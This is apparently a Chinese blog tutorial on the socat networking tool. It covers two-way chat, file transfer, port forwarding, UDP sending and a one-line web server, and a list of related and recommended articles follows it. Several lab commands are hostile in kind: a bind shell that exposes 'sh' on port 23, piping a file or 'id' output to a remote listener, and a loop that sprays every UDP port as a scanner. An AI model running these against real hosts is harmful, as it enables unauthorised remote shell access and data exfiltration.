被称为nc++,双向数据流通道工具。

假设有这样一个场景

相互通信

创建服务器端,侦听2222端口

socat - tcp4-listen:2222

查看2222端口是否打开

netstat -pantu | grep :2222

客户端连接到服务器端

socat tcp:192.168.1.110:2222

服务端和客户端就能相互通信了

传输文件

服务器端

侦听333端口

socat tcp4-listen:333 open:2.txt,creat,append

客户端

cat 1.txt | socat- tcp:192.168.1.110:333

客户端通过333端口发送一个1.txt文件给服务器端

在服务器端就接收到了文件并保存为2.txt

传递shell

服务器端

socat tcp-l :23 exec:sh,pty,stderr

tcp-l 是tcp4-listen的简写

客户端

socat - tcp:192.168.1.110:23

客户端通过23端口就得到了一个服务器端的shell

端口转发

服务器端

socat tcp4-listen:8080,fork tcp4:192.168.1.1:80

当有客户端来访问本机的8080端口时,就把这个请求做一个转发,转发到80端口,访问8080端口相当于访问192.168.1.1的80端口

在客户端

访问服务器的8080端口,就相当于访问服务器的80端口

UDP协议传输数据

服务器端

socat - udp-l:2000

客户端通过2000端口发送数据

echo "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" | socat - udp-datagram:192.168.1.110:2000

服务器端就接收到了

还可以 socat - udp-datagram:192.168.1.110:2000

服务器端就收到了数据

UDP协议传输命令

服务器端

socat - udp-l:2000

客户端

echo "`id`" | socat - udp-datagram:192.168.1.110:2000

服务器端相当于执行了id命令

UDP全端口任意内容发包

可以做扫描器

客户端

for PORT in {1..65535}; do echo "aaaaa" | socat - UDP4-DATAGRAM:192.168.1.110:$PORT; sleep .1; done

抓包可以看到,客户端在不停地向服务器端的端口发包

搭建简单的web服务器

在服务器端

socat -T 1 -d -d TCP-L:10081,reuseaddr,fork,crlf SYSTEM:"echo -e \"\\\"HTTP/1.0 200 OK\\\nDocumentType: text/plain\\\n\\\ndate: \$\(date\)\\\nserver:\$SOCAT_SOCKADDR:\$SOCAT_SOCKPORT\\\nclient: \$SOCAT_PEERADDR:\$SOCAT_PEERPORT\\\n\\\"\"; cat; echo -e \"\\\"\\\n\\\"\""

打开客户端浏览器输入服务器端的地址以及端口,可以看到返回的信息

socat流量操控的更多相关文章

  1. 流量操控之SSH隧道与端口转发

    目  录 第1章            概述... 3 1.1.         实现命令... 3 1.2.         SSH隧道类型... 3 第2章            SSH隧道... ...

  2. 内网流量操控---pingtunnel建立icmp隧道

    一.pingtunnel工作原理 在上面的实验环境中,我们将分别在攻击机kali 2020和webserver上部署pingtunnel工具,在量太主机之间实现icmp隧道,再在kali2020上监听 ...

  3. 流量操控技术---rinetd

    应用场景 实验机器:monomall防火墙,windows xp ,kali , windows 2003 场景假设,公司对你的办公电脑做了限制只允许53端口出去不能访问互联网. 突破思路:见上图 下 ...

  4. OpenState安装及 Port Knocking 实验

    OpenState安装及 Port Knocking 实验 目录 OpenState安装 Port Knocking 实验 OpenState安装及 Port Knocking 实验 OpenStat ...

  5. kalilinux渗透测试笔记

    声明:本文理论大部分是苑房弘kalilinux渗透测试的内容 第五章:基本工具 克隆网页,把gitbook的书记下载到本地 httrack "http://www.mybatis.org/m ...

  6. kalilinux 渗透测试笔记

    声明:本文理论大部分是苑房弘kalilinux渗透测试的内容 第五章:基本工具 克隆网页,把gitbook的书记下载到本地 httrack "http://www.mybatis.org/m ...

  7. 渗透:dSploit

    dSploit--开源的专业的Android平台安全管理工具包 只能在横屏模式下工作,即使你旋转你的设备也将继续保持横屏,如果你有一个应用程序,如旋转控制器,迫使每一个应用程序旋转,将导致dSploi ...

  8. 【流量劫持】SSLStrip 的未来 —— HTTPS 前端劫持

    前言 在之前介绍的流量劫持文章里,曾提到一种『HTTPS 向下降级』的方案 -- 将页面中的 HTTPS 超链接全都替换成 HTTP 版本,让用户始终以明文的形式进行通信. 看到这,也许大家都会想到一 ...

  9. HTTPS-能否避免流量劫持

    流量劫持是什么? EtherDream在一篇科普文章<>中详细介绍了流量劫持途径和方式. 流量劫持是一种古老的攻击方式,比如早已见惯的广告弹窗等,很多人已经对此麻木,并认为流量劫持不会造成 ...

随机推荐

  1. OraOLEDB.Oracle找不到驱动问题

    如果安装Oracle的时候没有把Oracle Provider for OLE DB,这个组件安装上,那么就会导致在使用程序的时候无法使用Oracle客户端驱动问题,弥补的办法就是重新下载客户端程序. ...

  2. openStack cpu绑定

    来自:http://fishcried.com/2015-01-09/cpu_bindings/ 前一篇理解cpu topology对CPU Topology进行了学习总结,这里想总结下OpenSta ...

  3. python中的get

    get()根据键获取字典中的值,如果键不存在则返回一个默认值,默认值不填写则返回None 1 a = { 2 "name":"dlrb", 3 "ag ...

  4. samba配置中常见错误收集.txt

    在命令行输入命令: ~$ smbclient -L \\127.0.0.1按要求输入密码后,提示出错:session setup failed: NT_STATUS_LOGON_FAILURE 这是因 ...

  5. FLEX中一组基于button的组件

    <?xml version="1.0" encoding="utf-8"?> <s:Application xmlns:fx="ht ...

  6. ansible常用模块即用法

    Linux 中,我们可以通过 ansible-doc -l 命令查看到当前 ansible 都支持哪些模块,通过 ansible-doc  -s  模块名  又可以查看该模块有哪些参数可以使用. 下面 ...

  7. jqGrid pivot获取所有行包括小计数据及原码分析

    1.结论:按正常jqGid获取,在中间加入以下代码,即将小计行当成改变为普能行,以便能让'getRowData'方法获取到,第三点会进行原码分析 //get all page grid data,in ...

  8. P12, cer, provisioning profile

    p12,本地私钥(实际上证书和私钥可以一起导出成p12,这里我们仅指私钥) cer,证书,即苹果签名后的公钥 provisioning profile描述文件 一个证书对应一个私钥,也就是本地的p12 ...

  9. javascript:width,innerwidth和outerwidth的区别

    width()方法用于获得元素宽度 innerWidth()方法用于获得包括内边界(padding)的元素宽 outerWidth()方法用于获得包括内边界(padding)和边框(border)的元 ...

  10. ELK实时日志分析平台环境部署--完整记录(转)

    在日常运维工作中,对于系统和业务日志的处理尤为重要.今天,在这里分享一下自己部署的ELK(+Redis)-开源实时日志分析平台的记录过程(仅依据本人的实际操作为例说明,如有误述,敬请指出)~ ==== ...